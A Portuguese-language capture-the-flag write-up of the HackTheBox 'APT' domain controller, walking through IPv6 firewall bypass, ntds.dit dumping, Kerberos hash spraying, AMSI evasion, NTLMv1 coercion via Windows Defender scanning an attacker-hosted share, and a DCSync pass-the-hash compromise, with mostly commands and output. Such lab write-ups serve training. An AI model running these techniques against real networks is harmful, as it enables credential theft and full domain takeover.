



APT HackTheBox

Resolução da máquina **APT**

Máquina Insane (hackthebox.com)

by JavaliMZ - 27/09/2021

Introdução

Bem-vindo para mais um writeup, desta vez uma máquina Insane! É uma máquina Windows, Em que iremos ter bastantes desafios interessantes...

- Iremos burlar o firewall por IPv6
- Iremos recuperar um backup.zip dentro de uma pasta partilhada contendo um ntds.dit e um SYSTEM (base de dados de todo um domain controller, e seu ficheiro SYSTEM para conseguir decifrá-lo)
- O resultado do passo anterior será um monte de usuários e credenciais, todos eles inválidos.
- Iremos enumerar os usuários existentes com GetNPUsers.py (Por Kerberos)
- Iremos tentar ver se um dos hashes do ntds.dit antigo funciona com os usuários existentes que recuperamos. Esse passo terá que ser por Kerberos também porque o servidor samba está bloqueando o número de tentativas.
- Iremos movimentar-nos remotamente pelo registo da máquina alvo onde se vai descobrir umas credenciais, com capacidade de "winrm"
- Vamos ver que a máquina foi modificada para aceitar autenticação por NTLMv1, e que é esse o protocolo de autenticação por defeito.
- Iremos pilhar o hash NTLMv1 de um usuário administrador ao forçar um escaneamento de virus com o windows defender a um ficheiro que vamos partilhar.
- vamos converter o hash NTLMv1 para um hash NTLMv2 via online
- Com as novas credenciais de administrador sem capacidade de psexec nem escrita no samba (sem nenhum shell), vamos tratar de extrair todos os hashes do DC através do protocolo DRSUAPI e DCERPC

Enumeração

Nmap

Como sempre, vamos começar por enumerar as portas abertas da máquina alvo...

```
Kali-Linux
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 39.964/39.964/39.964/0.000 ms

(JavaliMZ@kali)~/C/HackTheBox-$ nmap -p- --open -n -Pn 10.10.10.213 --min-rate 5000 -oG enumeration/allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-27 11:55 WEST
Nmap scan report for 10.10.10.213
Host is up (0.043s latency).
Not shown: 65533 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc

Nmap done: 1 IP address (1 host up) scanned in 26.44 seconds

(JavaliMZ@kali)~/C/HackTheBox-$ extractPorts enumeration/allPorts
```

	File: /tmp/nmapTmp.txt
1	Enumeração das portas:
2	
3	[*] IP Address: 10.10.10.213
4	[*] Open Ports: 80, 135
5	
6	Sugestão (copiado em clipboard): nmap -p80,135 10.10.10.213

```
(JavaliMZ@kali)~/C/HackTheBox-$

(JavaliMZ@kali)~/C/HackTheBox-$ nmap -p80,135 10.10.10.213 -sC -sV -oN enumeration/nmap-a.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-27 11:56 WEST
Nmap scan report for 10.10.10.213
Host is up (0.041s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http      Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/10.0
|_ http-title: Gigantic Hosting | Home
135/tcp   open  msrpc     Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.38 seconds

(JavaliMZ@kali)~/C/HackTheBox-$ |
🚩 HTB - APT  🚩 10.10.14.12  🚩 10.10.10.213  ▶ 1 Enumeration  ▶ 2 zsh
```

Esta máquina tem apenas 2 portas abertas! E para não enganhar, para não ter um relatório enorme, vou ir mais direto ao assunto...

Porta 80

O servidor web tem paginas de internet mas não se consegue entrar por ai... Apenas há uma informação de relevo, mas que nem sequer é preciso entrar pelo browser para ver isso

```
whatweb http://10.10.10.213/ | sed 's/, /\n/g'

#> http://10.10.10.213/ [200 OK] Bootstrap
#> Country[RESERVED][ZZ]
#> Email[sales@gigantichosting.com]
#> HTML5
#> HTTPServer[Microsoft-IIS/10.0]
#> IP[10.10.10.213]
#> JQuery
#> Microsoft-IIS[10.0]
#> Script[application/x-javascript,text/javascript]
#> Title[Gigantic Hosting | Home]
```

O email pode ajudar mais tarde (sales@gigantichosting.com)...

Porta 135

Já que o servidor Web não nos dá acesso à máquina, só ja temos mais este ponto...

```
rcpclient 10.10.10.213
rcpclient 10.10.10.213 -N-U 'null' -N
rcpclient 10.10.10.213 -U 'guest' -N
rcpclient 10.10.10.213 -U 'anonymous' -N
rcpclient 10.10.10.213 -U '%'
```

Todas as tentativas de conexão falharam... e agora?! Poderíamos tentar analisar portas UDP, visto que o scan que foi feito com o NMAP foi apenas portas TCP. Mas não há portas UDP abertas. O que acontece é que as portas devem estar bloqueadas com regras de firewall.

Firewall

Um problema comum entre os administradores de redes é que só estão habituados a trabalhar com IPv4. Pode acontecer que não liguem às regras por IPv6! É exatamente esse o ponto desta máquina. Para burlar o firewall, apenas temos de arranjar formas de descobrir o IPv6 da máquina.

Para isso, com a ajuda do serviço RPC que está aberto, podemos chamar uma função, `ServerAlive2()` do objecto `IObjectExporter` sem estar autenticado. Esse comando devolve o que é chamado de `OXID resolution`, que é o que indica ao cliente por que via se pode conectar aos demais objectos. As informações que nos dá é só o nome da máquina, e os seus IPs (Tanto IPv4 como o IPv6). Basicamente, é o comparado ao Ping.

- O ping é o que permite determinar a responsividade do alvo através do protocolo ARP, e
- `IObjectExporter::ServerAlive2` é o que permite receber os IPs do alvo através do protocolo DCERPC/IOXIDResolver.

!!ATENÇÃO!! Todo o parágrafo acima é para se ler de relance... Porque, eu não percebi tudo do que li, e certamente falta muita informação...

IOXIDResolver

Para conseguir saber o IPv6, por RPC, basta usar esta ferramenta

<https://github.com/mubix/IOXIDResolver>

```
git clone https://github.com/mubix/IOXIDResolver
cd IOXIDResolver

python IOXIDResolver.py -t 10.10.10.213
#> [*] Retrieving network interface of 10.10.10.213
#> Address: apt
#> Address: 10.10.10.213
#> Address: dead:beef::b885:d62a:d679:573f
#> Address: dead:beef::215

ping6 -c 1 dead:beef::b885:d62a:d679:573f
```

O ping mostra que a máquina responde. A partir de agora, vamos começar novamente do zero a enumerar a máquina.

Nmap

```
nmap -p- --open -n -Pn -6 dead:beef::b885:d62a:d679:573f -oG enumeration/allPorts-IPv6 -vvv --min-rate 5000

extractPorts enumeration/allPorts-IPv6

#> Enumeração das portas:
#>
#> [*] IP Address: dead:beef::b885:d62a:d679:573f
#> [*] Open Ports: 53, 80, 88, 135, 389, 445, 464, 593, 636, 5985, 9389, 47001, 49664, 49665, 49666, 49667, 49669, 49670, 49673, 49685, 49693

nmap -p53,80,88,135,389,445,464,593,636,5985,9389,47001,49664,49665,49666,49667,49669,49670,49673,49685,49693 -6 dead:beef::b885:d62a:d679:573f -sC -sV -vvv -oN enumeration/nmap-a-IPv6.txt

#> ---skipped---
#> 53/tcp open domain syn-ack Simple DNS Plus
#> 80/tcp open http syn-ack Microsoft IIS httpd 10.0
#> 88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2021-09-27 20:09:53Z)
#> 135/tcp open msrpc syn-ack Microsoft Windows RPC
#> 389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
#> 445/tcp open microsoft-ds syn-ack Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
#> 464/tcp open kpasswd5? syn-ack
#> 593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
#> 636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
#> 5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
#> 9389/tcp open mc-nmf syn-ack .NET Message Framing
#> 47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
#> 49664/tcp open msrpc syn-ack Microsoft Windows RPC
#> 49665/tcp open msrpc syn-ack Microsoft Windows RPC
#> 49666/tcp open msrpc syn-ack Microsoft Windows RPC
#> 49667/tcp open msrpc syn-ack Microsoft Windows RPC
#> 49669/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
#> 49670/tcp open msrpc syn-ack Microsoft Windows RPC
#> 49673/tcp open msrpc syn-ack Microsoft Windows RPC
#> 49685/tcp open msrpc syn-ack Microsoft Windows RPC
#> 49693/tcp open msrpc syn-ack Microsoft Windows RPC
```

Agora sim! Temos informações. Parece ser um AD/DC (Active Directory / Domain Controller). E ainda sabemos o domain (htb.local)

Com essas informações, e para termos menos problemas com as diversas ferramentas por causa do IPv6, vamos colocar essas informações no `/etc/hosts`.

```
echo -e "dead:beef::b885:d62a:d679:573f\tapt apt.htb.local htb.local" >> /etc/hosts
```

SMB

```
crackmapexec smb apt
#> SMB dead:beef::b885:d62a:d679:573f 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local)
(signing:True) (SMBv1:True)

crackmapexec smb apt --shares
#> SMB dead:beef::b885:d62a:d679:573f 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local)
(signing:True) (SMBv1:True)
#> SMB dead:beef::b885:d62a:d679:573f 445 APT [-] Error enumerating shares: SMB SessionError: 0x5b

crackmapexec smb apt --shares -u '' -p ''
#> SMB dead:beef::b885:d62a:d679:573f 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local)
(signing:True) (SMBv1:True)
#> SMB dead:beef::b885:d62a:d679:573f 445 APT [-] htb.local\.: STATUS_ACCESS_DENIED
#> SMB dead:beef::b885:d62a:d679:573f 445 APT [+] Enumerated shares
#> SMB dead:beef::b885:d62a:d679:573f 445 APT Share Permissions Remark
#> SMB dead:beef::b885:d62a:d679:573f 445 APT -----
#> SMB dead:beef::b885:d62a:d679:573f 445 APT backup READ
#> SMB dead:beef::b885:d62a:d679:573f 445 APT IPC$ Remote IPC
#> SMB dead:beef::b885:d62a:d679:573f 445 APT NETLOGON Logon server share
#> SMB dead:beef::b885:d62a:d679:573f 445 APT SYSVOL Logon server share
```

```
smbclient \\\\apt\\backup -U '' -N
smb: \> dir

#> ---skipped---
#> backup.zip                A 10650961  Thu Sep 24 08:30:32 2020

smb: \> get backup.zip

unzip backup.zip
```

```
zip2john backup.zip > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john hash --show

#> backup.zip:iloveyousomuch::backup.zip:Active Directory/ntds.jfm, registry/SECURITY, Active Directory/ntds.dit:backup.zip

unzip backup.zip # iloveyousomuch
```

```
secretsdump.py -system registry/SYSTEM -ntds Active\Directory\ntds.dit LOCAL > contents/secretsdump.out
```

```
cat secretsdump.out | grep aad | awk -F ':' '{print$1}' > users
cat secretsdump.out | grep aad | awk -F ':' '{print$4}' > hashes
```

```
GetNPUsers.py htb.local/ -no-pass -usersfile users | grep -v "not found"
```

```
#> [-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
#> [-] User APT$ doesn't have UF_DONT_REQUIRE_PREAUTH set
#> [-] User henry.vinson doesn't have UF_DONT_REQUIRE_PREAUTH set
```

```
crackmapexec smb apt -u valide_users -H hashes
```

Posto isso, podemos tentar receber um TGT com username e um HASH (ou uma password).

getTGT.py

Existe uma outra utilidade do Impacket que se chama **getTGT.py** e que faz este serviço. O problema é que faz apenas e só uma petição. Não dá para fazer por força bruta com recurso a dicionário. Bem, isto resolve-se com bash, um **for loop** e paralelizar as petições. Depois ainda há outro problema. No output, não temos informações do nome ou do hash que está a ser usado. Para contornar isso, decidi enviar cada output em separado, e cujo o nome do ficheiro é simplesmente o hash... O output correcto informa que foi criado um ficheiro qualquer com o formato "username.ccache". Depois com um find e um grep, é fácil recuperar o hash e o seu username...

```
getTGT.py -hashes :2b576acbe6bcfda7294d6bd18041b8fe htb.local/henry.vinson

#> Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
#> Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)

mkdir getTGT_dir
for hash in $(cat hashes); do getTGT.py -hashes :$hash htb.local/henry.vinson > getTGT_dir/$hash & done
cd getTGT_dir
find . -type f | xargs grep "henry"
#> ./e53d87d42adaa3ca32bdb34a876cbffb:[*] Saving ticket in henry.vinson.ccache
```

henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb

Supostamente, este ficheiro.ccache é o tal TGT que dá para usar para fazer login depois. Mas não consegui. Penso que não consegui porque op usuário não tem capacidade de "psexec". Mas não tenho a certeza porque foi a primeira vez que tentei...

vamos validar as credenciais com crackmapexec (atenção que se tem de sair da pasta o existe o nome do ficheiro igual ao hash, porque o crackmapexec prioriza nomes de ficheiros, perdi 5 minutos à conta disto loool)

```
(JavaliMZ@kali)~/C/H/contents]- $ cd getTGT_dir
(JavaliMZ@kali)~/C/H/c/getTGT_dir]- $ find . -type f | xargs grep "henry"
./e53d87d42adaa3ca32bdb34a876cbffb:[*] Saving ticket in henry.vinson.ccache
(JavaliMZ@kali)~/C/H/c/getTGT_dir]- $ cd ..
(JavaliMZ@kali)~/C/H/contents]- $ crackmapexec smb apt -u 'henry.vinson' -H 'e53d87d42adaa3ca32bdb34a876cbffb'
SMB dead:beef::b885:d62a:d679:573f 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
SMB dead:beef::b885:d62a:d679:573f 445 APT [+] htb.local\henry.vinson e53d87d42adaa3ca32bdb34a876cbffb
(JavaliMZ@kali)~/C/H/contents]- $ |
HTB - APT @ 10.10.14.21 @ 10.10.10.213 1 zsh 2 zsh © 12:26
```

reg.py

Agora vem outra parte tricky! Não me é possível ter uma shell com evil-winrm, não tenho capacidade de escrita em nenhum recurso compartilhado. Mas ainda se pode fazer coisas... o reg.exe do windows é um programa que permite ver/alterar registos do windows pela linha de comando. É quase tão poderoso quando o regedit.exe, que é a aplicação GUI para ver/alterar os registos. Com esta máquina, descobri que o programa reg.exe tem capacidade de ver e alterar registos remotamente, para que os administradores possam trabalhar comodamente de chinelos nos seus lares loool. Fora de brincadeira, isso é bem prático para administradores, e para atacantes também =)

o reg.py, é outro recurso do Impacket, que simula uma petição do reg.exe com as credenciais e tudo isso, como se eu estivesse a executar o comando do windows devidamente autenticado... Indo direto ao que nos interessa, podemos encontrar isto:

```
(JavaliMZ@kali)~/C/H/contents]- $ reg.py htb.local/henry.vinson@apt -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName HKLM
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] Cannot check RemoteRegistry status. Hoping it is started...
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied

(JavaliMZ@kali)~/C/H/contents]- $ reg.py htb.local/henry.vinson@apt -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName HKU
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU
HKU\Console
HKU\Control Panel
HKU\Environment
HKU\Keyboard Layout
HKU\Network
HKU\Software
HKU\System
HKU\Volatile Environment

(JavaliMZ@kali)~/C/H/contents]- $ reg.py htb.local/henry.vinson@apt -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName HKU\Software
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes

(JavaliMZ@kali)~/C/H/contents]- $ reg.py htb.local/henry.vinson@apt -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName HKU\Software\GiganticHostingManagementSystem
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\GiganticHostingManagementSystem
UserName REG_SZ henry.vinson_admin
Password REG_SZ G1#Ny5@2dvht

(JavaliMZ@kali)~/C/H/contents]- $ |
HTB - APT @ 10.10.14.21 @ 10.10.10.213 1 zsh 2 zsh © 12:57 < 28 Sep
```

henry.vinson_admin:G1#Ny5@2dvht

Vamos validar com crackmapexec...

```
crackmapexec smb apt -u 'henry.vinson_admin' -p 'G1#Ny5@2dvht'
#> SMB dead:beef::b885:d62a:d679:573f 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local)
(signing:True) (SMBv1:True)
#> SMB dead:beef::b885:d62a:d679:573f 445 APT [+] htb.local\henry.vinson_admin:G1#Ny5@2dvht
```

De referir que o crackmapexec por IPv6 (o pequeno apt que se vê, é o IPv6 que se encontra no /etc/hosts) só funciona por smb. Sempre que se tenha novas credenciais e que quisermos verificar se temos capacidade de psexec ou evil-winrm, temos de fazê-lo á mão mesmo.

```
(JavaliMZ@kali)~[/C/H/contents]-$ crackmapexec smb apt -u 'henry.vinson_adm' -p 'G1#Ny5@2dvht'
SMB      dead:beef::b885:d62a:d679:573f 445  APT      [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
SMB      dead:beef::b885:d62a:d679:573f 445  APT      [*] htb.local\henry.vinson_adm:G1#Ny5@2dvht

(JavaliMZ@kali)~[/C/H/contents]-$ evil-winrm -i apt -u 'henry.vinson_adm' -p 'G1#Ny5@2dvht'
Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> whoami
htb\henry.vinson_adm
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> whoami /priv

PRIVILEGES INFORMATION
=====
Privilege Name              Description              State
-----
SeMachineAccountPrivilege   Add workstations to domain  Enabled
SeChangeNotifyPrivilege     Bypass traverse checking    Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents>
```

Escalada de Privilégios

Agora que temos acesso à máquina, podemos enumerar usuários locais. Com o commando *net localgroup "Remote Management Users"*, dá para perceber que apenas o nosso usuário actual tem permissões de psexec, ou evil-winrm. Já sabemos então que mesmo o Adminstrator local não tem capacidade de psexec ou evil-winrm.

Vou usar a ferramenta winPEAS64.exe para enumerar a máquina mais rapidamente

winPEAS64.exe

```
# kali
wget https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe

# Target Machine
upload /home/javali/CaptureTheFlag/HackTheBox/contents/winPEASx64.exe
.\winPEASx64.exe
#> Program 'winPEASx64.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted software...skipped...
```

Problemas! O antivírus está ativo. É raro ver Domains Controllers com antivírus ativo por causa de rendimentos. Mas já ques está activo, temos de lidar com isso...

Para burlar o antivírus, vou usar 2 funções, que já vêm pré-carregadas no evil-winrm (assim fica fácil...)

Bypass-4MSI

Para rodar comando estranhos no powershell, é preciso primeiro burlar uma função que existe no powershell que analisa a string antes de executar o comando. Essa função tem como nome: Interface de verificação antimalware (AMSI)

AMSI é tipo uma API que todos os programas podem usar para analisar sequências de string, e reporta como potencialmente perigoso toda e qualquer string comum em malware, vírus, ect...

exemplo com a própria máquina alvo:

```
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> whoami
htb\henry.vinson_adm
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> echo "Invoke-Mimikatz"
At line:1 char:1
+ echo "Invoke-Mimikatz"
+ ~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> echo "Mimikatz"
Mimikatz
```

O Mimikatz é extremamente conhecido no mundo do Pentesting... E Windows Também o conhece. Existe uns scripts pelo github com o nome Invoke-Mimikatz.ps1, e que faz muitas coisinhas más ao Windows... Antes mesmo de executar o commando, o powershell envia a string para o AMSI analisar, e como Invoke-Mimikatz.ps1 é muitas vezes utilizada por black-hackers, o AMSI informa do potencial perigo e impede a sua execução. Uma das técnicas de bypass é a ofuscação:

```
"Invo" + "ke-Mimi" + "katz"
#> Invoke-Mimikatz
```

Assim já funciona. Poderíamos também ter usado base64, ou caracteres em hexadecimal, ou octal, ect, e juntar várias técnicas... Mas para coisinhas pequena, está ok... Para scripts, isto é chato de se fazer... Existe no próprio evil-winrm a função Bypass-4MSI. Os comandos adicionais podem ser encontrados se escrevermos *menu* diretamente na interface Evil-WinRM


```
which responder
locate responder.conf
cat /var/lib/dpkg/info/responder.conf
#> /etc/responder/Responder.conf
sudo nano /etc/responder/Responder.conf
```

```
Kali-Linux
GNU nano 5.8 /etc/responder/
1 [Responder Core]
2
3 ; Servers to start
4 SQL = On
5 SMB = On
6 RDP = On
7 Kerberos = On
8 FTP = On
9 POP = On
10 SMTP = On
11 IMAP = On
12 HTTP = On
13 HTTPS = On
14 DNS = On
15 LDAP = On
16 DCERPC = On
17 WINRM = On
18
19 ; Custom challenge.
20 ; Use "Random" for generating a random challenge for each requests (Default)
21 ; Challenge = Random
22 Challenge = 1122334455667788
23
24 ; SQLite Database file
25 ; Delete this file to re-capture previously captured hashes
26 Database = Responder.db
27
28 ; Default log file
```

Depois de forçar o SALT a 1122334455667788 para ser enviado quando nos for solicitado durante o Challenge Responde Protocol, é só ligar o responder e esperar...

```
sudo responder -I tun0 --lm -v
```

MsCmdRun.exe

Esperar... e esperar o que? o responder simula montes de serviços de partilha e afins, e captura hashes e informações críticas de quem se conecta a nossa máquina Kali. Mas neste plano, existe um problema... Ninguém vai-nos pedir coisas...

Pois não. Ninguém vai porque é uma máquina HTB, mas mesmo assim, podemos forçar a que a máquina solicite coisas ao nosso responder, estamos ligado à máquina alvo com evil-winrm...

Mas já temos tudo o que precisamos deste usuário, portanto nem vale a pena enviar petições ao nosso responder... Mas podemos fazer com que outro usuário faça uma petição... À pouco, precisamos burlar o Windows Defender... e agora, vamos perceber dele lol. Podemos dizer ao Windows Defender para verificar a perigosidade de um arquivo noutra ponto de rede. E o usuário que irá fazer isso é um administrador...

```
cd "C:\Program Files\Windows Defender"
.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.21\test.txt
```

```
[SMB] NTLMv1 Hash : APT$:HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788
```

Recebemos o hash NTLMv1 Salteado com o Salt: 1122334455667788. Basta agora crackear isso pelo tal site...

O formato que o site pede é esse: NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384 E vai pedir um email onde irá enviar a resposta. Vou usar um email10



GET CRACKING

These are the types of DES cracking jobs that we support:

[Windows LM/NTLMv1 Authentication](#)
[PPTP VPNs](#) [WPA-Enterprise](#)
[des_crypt\(\) Hashes](#)
[DES Kerberos5](#) [Known Plaintext DES](#)

QUEUE WAIT TIME:
Standard 1.1 Days, ASAP 1.1 Days

SUBMIT A JOB!

Token: NTHASH:95ACA8C7248774CB427E1AE5

Priority: FREE! - \$0.00 USD

Email: xse90848@cuoly.com

[SUBMIT FOR FREE!](#)

Ler Mail

Reportar

Plano

Your NETNTLM DES Cracking Job Results



crack.sh (jobs@toorcon.org) 1 minute ago

Para: xse90848@cuoly.com

Crack.sh has successfully completed its attack against your NETNTLM handshake. The NT hash for the handshake is included below, and can be plugged back into the 'chapcrack' tool to decrypt a packet capture, or to authenticate to the server:

Token: \$NETNTLM\$1122334455667788\$95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384
Key: d167c3238864b12f5f82feae86a7f798

This run took 32 seconds. Thank you for using crack.sh, this concludes your job.

Já temos o hash NTLMv1 em claro:

APT\$:d167c3238864b12f5f82feae86a7f798

```
crackmapexec smb apt -u 'APT$' -H 'd167c3238864b12f5f82feae86a7f798'
```

```
#> SMB dead:beef::b885:d62a:d679:573f 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local)
(signing:True) (SMBv1:True)
#> SMB dead:beef::b885:d62a:d679:573f 445 APT [+] htb.local\APT$ d167c3238864b12f5f82feae86a7f798
```

As credenciais funcionam. Mas não temos capacidade de escrita, nem de psexec, nem de evil-winrm. Sabemos que este usuário é de Domínio, visto que se fizemos um "net users" na máquina com o usuário henry.vinson_admin, não o vemos lá. E sabemos também que é este usuário que executou o Windows Defender. Tem que ter muitos privilégios... possivelmente não pertence ao administradores, porque não nos é possível nos conectar com evil-winrm, mas tem que pertencer a algum grupo com muitos privilégios... Sendo assim, podemos tentar extrair todos os hashes de usuários de domínio com o secretsdump.py em "Blind"...

Secretsdump.py

```
(JavaliMZ@kali)-[~/C/HackTheBox]-$ secretsdump.py -just-dc-ntlm 'htb.local/APT$aapt' -hashes :d167c3238864b12f5f82feae86a7f798
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbfffb:::
henry.vinson_admin:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::
APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::
[*] Cleaning up...
```

Agora sim!! Temos um hash NTLM do usuário de domínio Administrator. Vamos tratar de validá-lo... e ver se temos capacidade de psexec ou assim...

```
(JavaliMZ@kali)-[~/C/HackTheBox]-$ crackmapexec smb apt -u 'Administrator' -H 'c370bddf384a691d811ff3495e8a72e2'
SMB      dead:beef::b885:d62a:d679:573f 445  APT      [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
SMB      dead:beef::b885:d62a:d679:573f 445  APT      [+] htb.local\Administrator c370bddf384a691d811ff3495e8a72e2 (Pwn3d!)

(JavaliMZ@kali)-[~/C/HackTheBox]-$ evil-winrm -i apt -u 'Administrator' -H 'c370bddf384a691d811ff3495e8a72e2'
Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami /priv

PRIVILEGES INFORMATION
=====
Privilege Name      Description
=====
SeIncreaseQuotaPrivilege  Adjust memory quotas for a process
SeMachineAccountPrivilege  Add workstations to domain
SeSecurityPrivilege      Manage auditing and security log
SeTakeOwnershipPrivilege  Take ownership of files or other objects
SeLoadDriverPrivilege    Load and unload device drivers
SeSystemProfilePrivilege  Profile system performance
SeSystemTimePrivilege    Change the system time
SeProfileSingleProcessPrivilege  Profile single process
SeIncreaseBasePriorityPrivilege  Increase scheduling priority
SeCreatePagefilePrivilege  Create a pagefile
SeBackupPrivilege        Back up files and directories
SeRestorePrivilege        Restore files and directories
SeShutdownPrivilege      Shut down the system
SeDebugPrivilege          Debug programs
SeSystemEnvironmentPrivilege  Modify firmware environment values
SeChangeNotifyPrivilege  Bypass traverse checking
SeRemoteShutdownPrivilege  Force shutdown from a remote system
SeUndockPrivilege         Remove computer from docking station
SeEnableDelegationPrivilege  Enable computer and user accounts to be trusted for delegation
SeManageVolumePrivilege  Perform volume maintenance tasks
SeImpersonatePrivilege    Impersonate a client after authentication
SeCreateGlobalPrivilege  Create global objects
SeIncreaseWorkingSetPrivilege  Increase a process working set
SeTimeZonePrivilege       Change the time zone
SeCreateSymbolicLinkPrivilege  Create symbolic links
SeDelegateSessionUserImpersonatePrivilege  Obtain an impersonation token for another user in the same session
*Evil-WinRM* PS C:\Users\Administrator\Documents> |
```

Temos um shell com privilégio total sobre o Domain Controller...

Agora é só copiar as flags no HTB e está feito!!

```
cd C:\
cmd /c 'dir /r /s root.txt user.txt 2>NUL'

type C:\Users\henry.vinson_admin\Desktop\user.txt
#> 6199e04eb2ad97edd89df0*****
type C:\Users\Administrator\Desktop\root.txt
#> e3e8e265c8402b3b28d968*****
```